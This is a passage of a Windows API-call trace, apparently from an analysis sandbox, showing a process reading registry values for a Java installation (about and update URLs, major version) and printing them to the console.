(_File=0x7fefd702ab0) returned 1 [0149.446] _errno () returned 0x204bb0 [0149.446] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.446] _errno () returned 0x204bb0 [0149.446] GetFileType (hFile=0x50) returned 0x1 [0149.446] lstrlenW (lpString=" ") returned 4 [0149.446] GetConsoleOutputCP () returned 0x1b5 [0149.446] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.446] GetConsoleOutputCP () returned 0x1b5 [0149.446] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.446] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.446] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.446] lstrlenW (lpString="URLInfoAbout") returned 12 [0149.446] __iob_func () returned 0x7fefd702a80 [0149.446] _fileno (_File=0x7fefd702ab0) returned 1 [0149.446] _errno () returned 0x204bb0 [0149.447] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.447] _errno () returned 0x204bb0 [0149.447] GetFileType (hFile=0x50) returned 0x1 [0149.447] lstrlenW (lpString="URLInfoAbout") returned 12 [0149.447] GetConsoleOutputCP () returned 0x1b5 [0149.447] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="URLInfoAbout", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0149.447] GetConsoleOutputCP () returned 0x1b5 [0149.447] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="URLInfoAbout", cchWideChar=12, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="URLInfoAbout", lpUsedDefaultChar=0x0) returned 12 [0149.447] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 12 [0149.447] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.447] __iob_func () returned 0x7fefd702a80 [0149.447] _fileno (_File=0x7fefd702ab0) returned 1 [0149.447] _errno () returned 0x204bb0 [0149.447] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.447] _errno () returned 0x204bb0 [0149.447] GetFileType (hFile=0x50) returned 0x1 [0149.447] lstrlenW (lpString=" ") returned 4 [0149.447] GetConsoleOutputCP () returned 0x1b5 [0149.447] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.447] GetConsoleOutputCP () returned 0x1b5 [0149.447] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.447] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.447] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.448] __iob_func () returned 0x7fefd702a80 [0149.448] _fileno (_File=0x7fefd702ab0) returned 1 [0149.448] _errno () returned 0x204bb0 [0149.448] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.448] _errno () returned 0x204bb0 [0149.448] GetFileType (hFile=0x50) returned 0x1 [0149.448] lstrlenW (lpString="REG_SZ") returned 6 [0149.448] GetConsoleOutputCP () returned 0x1b5 [0149.448] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0149.448] GetConsoleOutputCP () returned 0x1b5 [0149.448] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0149.448] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0149.448] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.448] __iob_func () returned 0x7fefd702a80 [0149.448] _fileno (_File=0x7fefd702ab0) returned 1 [0149.448] _errno () returned 0x204bb0 [0149.448] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.448] _errno () returned 0x204bb0 [0149.448] GetFileType (hFile=0x50) returned 0x1 [0149.448] lstrlenW (lpString=" ") returned 4 [0149.448] GetConsoleOutputCP () returned 0x1b5 [0149.448] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.448] GetConsoleOutputCP () returned 0x1b5 [0149.449] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.449] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.449] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.449] __iob_func () returned 0x7fefd702a80 [0149.449] _fileno (_File=0x7fefd702ab0) returned 1 [0149.449] _errno () returned 0x204bb0 [0149.449] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.449] _errno () returned 0x204bb0 [0149.449] GetFileType (hFile=0x50) returned 0x1 [0149.449] lstrlenW (lpString="http://java.com") returned 15 [0149.449] GetConsoleOutputCP () returned 0x1b5 [0149.449] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="http://java.com", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0149.449] GetConsoleOutputCP () returned 0x1b5 [0149.449] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="http://java.com", cchWideChar=15, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://java.com", lpUsedDefaultChar=0x0) returned 15 [0149.449] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 15 [0149.449] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.449] __iob_func () returned 0x7fefd702a80 [0149.449] _fileno (_File=0x7fefd702ab0) returned 1 [0149.449] _errno () returned 0x204bb0 [0149.449] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.449] _errno () returned 0x204bb0 [0149.449] GetFileType (hFile=0x50) returned 0x1 [0149.450] lstrlenW (lpString="\n") returned 1 [0149.450] GetConsoleOutputCP () returned 0x1b5 [0149.450] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.450] GetConsoleOutputCP () returned 0x1b5 [0149.450] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.450] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.450] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.450] GetProcessHeap () returned 0x3c0000 [0149.450] GetProcessHeap () returned 0x3c0000 [0149.450] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5c60) returned 1 [0149.450] GetProcessHeap () returned 0x3c0000 [0149.450] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d5c60) returned 0x24 [0149.450] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5c60 | out: hHeap=0x3c0000) returned 1 [0149.450] RegEnumValueW (in: hKey=0x5c, dwIndex=0x13, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="URLUpdateInfo", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.450] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="URLUpdateInfo", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x30) returned 0x0 [0149.450] GetProcessHeap () returned 0x3c0000 [0149.450] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x32) returned 0x3d78d0 [0149.450] GetProcessHeap () returned 0x3c0000 [0149.450] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d78d0) returned 1 [0149.450] GetProcessHeap () returned 0x3c0000 [0149.450] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d78d0) returned 0x32 [0149.450] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="URLUpdateInfo", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3d78d0, pcbData=0x29f780*=0x30 | out: pdwType=0x29f700*=0x1, pvData="http://java.com/verify", pcbData=0x29f780*=0x2e) returned 0x0 [0149.450] __iob_func () returned 0x7fefd702a80 [0149.450] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.450] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.450] _fileno (_File=0x7fefd702ab0) returned 1 [0149.451] _errno () returned 0x204bb0 [0149.451] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.451] _errno () returned 0x204bb0 [0149.451] GetFileType (hFile=0x50) returned 0x1 [0149.451] lstrlenW (lpString=" ") returned 4 [0149.451] GetConsoleOutputCP () returned 0x1b5 [0149.451] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.451] GetConsoleOutputCP () returned 0x1b5 [0149.451] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.451] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.451] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.451] lstrlenW (lpString="URLUpdateInfo") returned 13 [0149.451] __iob_func () returned 0x7fefd702a80 [0149.451] _fileno (_File=0x7fefd702ab0) returned 1 [0149.451] _errno () returned 0x204bb0 [0149.451] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.451] _errno () returned 0x204bb0 [0149.451] GetFileType (hFile=0x50) returned 0x1 [0149.451] lstrlenW (lpString="URLUpdateInfo") returned 13 [0149.451] GetConsoleOutputCP () returned 0x1b5 [0149.451] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="URLUpdateInfo", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0149.451] GetConsoleOutputCP () returned 0x1b5 [0149.451] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="URLUpdateInfo", cchWideChar=13, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="URLUpdateInfo", lpUsedDefaultChar=0x0) returned 13 [0149.452] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0149.452] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.452] __iob_func () returned 0x7fefd702a80 [0149.452] _fileno (_File=0x7fefd702ab0) returned 1 [0149.452] _errno () returned 0x204bb0 [0149.452] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.452] _errno () returned 0x204bb0 [0149.452] GetFileType (hFile=0x50) returned 0x1 [0149.452] lstrlenW (lpString=" ") returned 4 [0149.452] GetConsoleOutputCP () returned 0x1b5 [0149.452] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.452] GetConsoleOutputCP () returned 0x1b5 [0149.452] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.452] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.452] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.452] __iob_func () returned 0x7fefd702a80 [0149.452] _fileno (_File=0x7fefd702ab0) returned 1 [0149.452] _errno () returned 0x204bb0 [0149.452] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.452] _errno () returned 0x204bb0 [0149.452] GetFileType (hFile=0x50) returned 0x1 [0149.452] lstrlenW (lpString="REG_SZ") returned 6 [0149.452] GetConsoleOutputCP () returned 0x1b5 [0149.452] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0149.452] GetConsoleOutputCP () returned 0x1b5 [0149.453] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0149.453] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0149.453] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.453] __iob_func () returned 0x7fefd702a80 [0149.453] _fileno (_File=0x7fefd702ab0) returned 1 [0149.453] _errno () returned 0x204bb0 [0149.453] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.453] _errno () returned 0x204bb0 [0149.453] GetFileType (hFile=0x50) returned 0x1 [0149.453] lstrlenW (lpString=" ") returned 4 [0149.453] GetConsoleOutputCP () returned 0x1b5 [0149.453] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.453] GetConsoleOutputCP () returned 0x1b5 [0149.453] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.453] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.453] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.453] __iob_func () returned 0x7fefd702a80 [0149.453] _fileno (_File=0x7fefd702ab0) returned 1 [0149.453] _errno () returned 0x204bb0 [0149.453] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.453] _errno () returned 0x204bb0 [0149.453] GetFileType (hFile=0x50) returned 0x1 [0149.453] lstrlenW (lpString="http://java.com/verify") returned 22 [0149.454] GetConsoleOutputCP () returned 0x1b5 [0149.454] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="http://java.com/verify", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0149.454] GetConsoleOutputCP () returned 0x1b5 [0149.454] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="http://java.com/verify", cchWideChar=22, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://java.com/verify", lpUsedDefaultChar=0x0) returned 22 [0149.454] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 22 [0149.454] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.454] __iob_func () returned 0x7fefd702a80 [0149.454] _fileno (_File=0x7fefd702ab0) returned 1 [0149.454] _errno () returned 0x204bb0 [0149.454] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.454] _errno () returned 0x204bb0 [0149.454] GetFileType (hFile=0x50) returned 0x1 [0149.454] lstrlenW (lpString="\n") returned 1 [0149.454] GetConsoleOutputCP () returned 0x1b5 [0149.454] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.454] GetConsoleOutputCP () returned 0x1b5 [0149.454] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.454] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.454] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.455] GetProcessHeap () returned 0x3c0000 [0149.455] GetProcessHeap () returned 0x3c0000 [0149.455] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d78d0) returned 1 [0149.455] GetProcessHeap () returned 0x3c0000 [0149.455] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d78d0) returned 0x32 [0149.455] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d78d0 | out: hHeap=0x3c0000) returned 1 [0149.455] RegEnumValueW (in: hKey=0x5c, dwIndex=0x14, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="VersionMajor", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.455] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="VersionMajor", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0149.455] GetProcessHeap () returned 0x3c0000 [0149.455] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0149.455] GetProcessHeap () returned 0x3c0000 [0149.455] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.455] GetProcessHeap () returned 0x3c0000 [0149.455] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.455] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="VersionMajor", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x4, pvData=0x3dee90*=0x7, pcbData=0x29f780*=0x4) returned 0x0 [0149.455] __iob_func () returned 0x7fefd702a80 [0149.455] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.455] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.455] _fileno (_File=0x7fefd702ab0) returned 1 [0149.455] _errno () returned 0x204bb0 [0149.455] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.455] _errno () returned 0x204bb0 [0149.455] GetFileType (hFile=0x50) returned 0x1 [0149.455] lstrlenW (lpString=" ") returned 4 [0149.455] GetConsoleOutputCP () returned 0x1b5 [0149.455] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.455] GetConsoleOutputCP () returned 0x1b5 [0149.455] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.455] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.456] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.456] lstrlenW (lpString="VersionMajor") returned 12 [0149.456] __iob_func () returned 0x7fefd702a80 [0149.456] _fileno (_File=0x7fefd702ab0) returned 1 [0149.456] _errno () returned 0x204bb0 [0149.456] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.456] _errno () returned 0x204bb0 [0149.456] GetFileType (hFile=0x50) returned 0x1 [0149.456] lstrlenW (lpString="VersionMajor") returned 12 [0149.456] GetConsoleOutputCP () returned 0x1b5 [0149.456] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="VersionMajor", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0149.456] GetConsoleOutputCP () returned 0x1b5 [0149.456] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="VersionMajor", cchWideChar=12, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VersionMajor", lpUsedDefaultChar=0x0) returned 12 [0149.456] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 12 [0149.456] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.456] __iob_func () returned 0x7fefd702a80 [0149.456] _fileno (_File=0x7fefd702ab0) returned 1 [0149.456] _errno () returned 0x204bb0 [0149.456] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.456] _errno () returned 0x204bb0 [0149.456] GetFileType (hFile=0x50) returned 0x1 [0149.456] lstrlenW (lpString=" ") returned 4 [0149.456] GetConsoleOutputCP () returned 0x1b5 [0149.456] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.457] GetConsoleOutputCP () returned 0x1b5 [0149.457] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.457] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.457] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.457] __iob_func () returned 0x7fefd702a80 [0149.457] _fileno (_File=0x7fefd702ab0) returned 1 [0149.457] _errno () returned 0x204bb0 [0149.457] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.457] _errno () returned 0x204bb0 [0149.457] GetFileType (hFile=0x50) returned 0x1 [0149.457] lstrlenW (lpString="REG_DWORD") returned 9 [0149.457] GetConsoleOutputCP () returned 0x1b5 [0149.457] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0149.457] GetConsoleOutputCP () returned 0x1b5 [0149.457] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0149.457] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0149.457] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.457] __iob_func () returned 0x7fefd702a80 [0149.457] _fileno (_File=0x7fefd702ab0) returned 1 [0149.457] _errno () returned 0x204bb0 [0149.457] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.457] _errno () returned 0x204bb0 [0149.457] GetFileType (hFile=0x50) returned 0x1 [0149.458] lstrlenW (lpString=" ") returned 4 [0149.458] GetConsoleOutputCP () returned 0x1b5 [0149.458] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.458] GetConsoleOutputCP () returned 0x1b5 [0149.458] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.458] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.458] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.458] __iob_func () returned 0x7fefd702a80 [0149.458] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.458] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x29f690 | out: _Buffer="0x7") returned 3 [0149.458] _fileno (_File=0x7fefd702ab0) returned 1 [0149.458] _errno () returned 0x204bb0 [0149.458] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.458] _errno () returned 0x204bb0 [0149.458] GetFileType (hFile=0x50) returned 0x1 [0149.458] lstrlenW (lpString="0x7") returned 3 [0149.458] GetConsoleOutputCP () returned 0x1b5 [0149.458] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x7", 